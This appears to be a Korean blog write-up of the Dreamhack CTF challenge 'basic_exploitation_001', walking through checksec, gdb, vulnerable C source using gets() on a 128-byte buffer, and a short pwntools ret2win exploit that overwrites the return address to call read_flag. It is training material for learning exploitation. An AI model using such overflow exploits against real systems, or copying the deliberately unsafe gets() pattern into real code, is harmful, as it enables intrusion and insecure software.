CTF/Pwnable

basic_exploitation_001

liqu3ur 2024. 11. 8. 01:27
반응형

 

바이너리 파일의 보안 메커니즘을 먼저 확인해본다.

checksec [바이너리 파일명]

위 보안 메커니즘을 분석해보면

1. 32비트 리틀엔디안 아키텍인 것과

2. NX가 활성화되어 있는 것을 확인해볼 수 있다.

 NX enabled는 No-eXecute 비트가 활성화되어 있음을 의미하며, 실행 권한이 없는 메모리 영역에서 코드를 실행하지 못하게 막는 것이다. 

 

이제 gdb를 사용해서 파일을 디버깅하도록 하겠다. 

gdb -q basic_exploitation_001

*q옵션은 불필요한 출력 없애주기 때문에 유용하다.

 

아래는 info func을 사용해 현재 디버깅 중인 프로그램의 함수 목록을 출력한 이미지이다.

read_flag의 주소가 0x080485b9인 것을 알 수 있다. 

 

이제 C코드를 확인해보겠다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

main 함수를 보면 buf에 0x80만큼 공간이 할당되며, 128바이트가 할당되는 것을 확인할 수 있다. 이후 initialize함수가 실행되고, gets로 buf에 입력을 받는다.

 

read_flag 함수에서는 system명령어로 flag값을 확인할 수 있음을 알 수 있다. 

 

스택 구조는 buf(128byte), SFP(4byte), RET(4byte)로 이루어져 있고, RET 전까지 132바이트라는 것을 알 수 있다. 

즉, 132바이트를 gets로 buf에 입력하, RET에 도달한 뒤 read_flag 함수 주소 값을 넣으면 강제로 read_flag 함수를 호출하게 되어 flag를 확인할 수 있다

 

작성한 익스플로잇 코드는 아래와 같다. 

vim basic_exploitation_001.py

from pwn import *
p = remote('host1.dreamhack.games', 12683)

payload = b'A' * 132 + p32(0x080485b9)

p.send(payload)

p.interactive()

 

이제 작성한 익스플로잇 코드를 실행하면 아래와 같이 플래그 값을 확인할 있다.

 python3 basic_exploitation_001.py

반응형

'CTF > Pwnable' 카테고리의 다른 글

OOB Patch v2  (0) 2024.11.04
OOB-BASIC  (0) 2024.11.04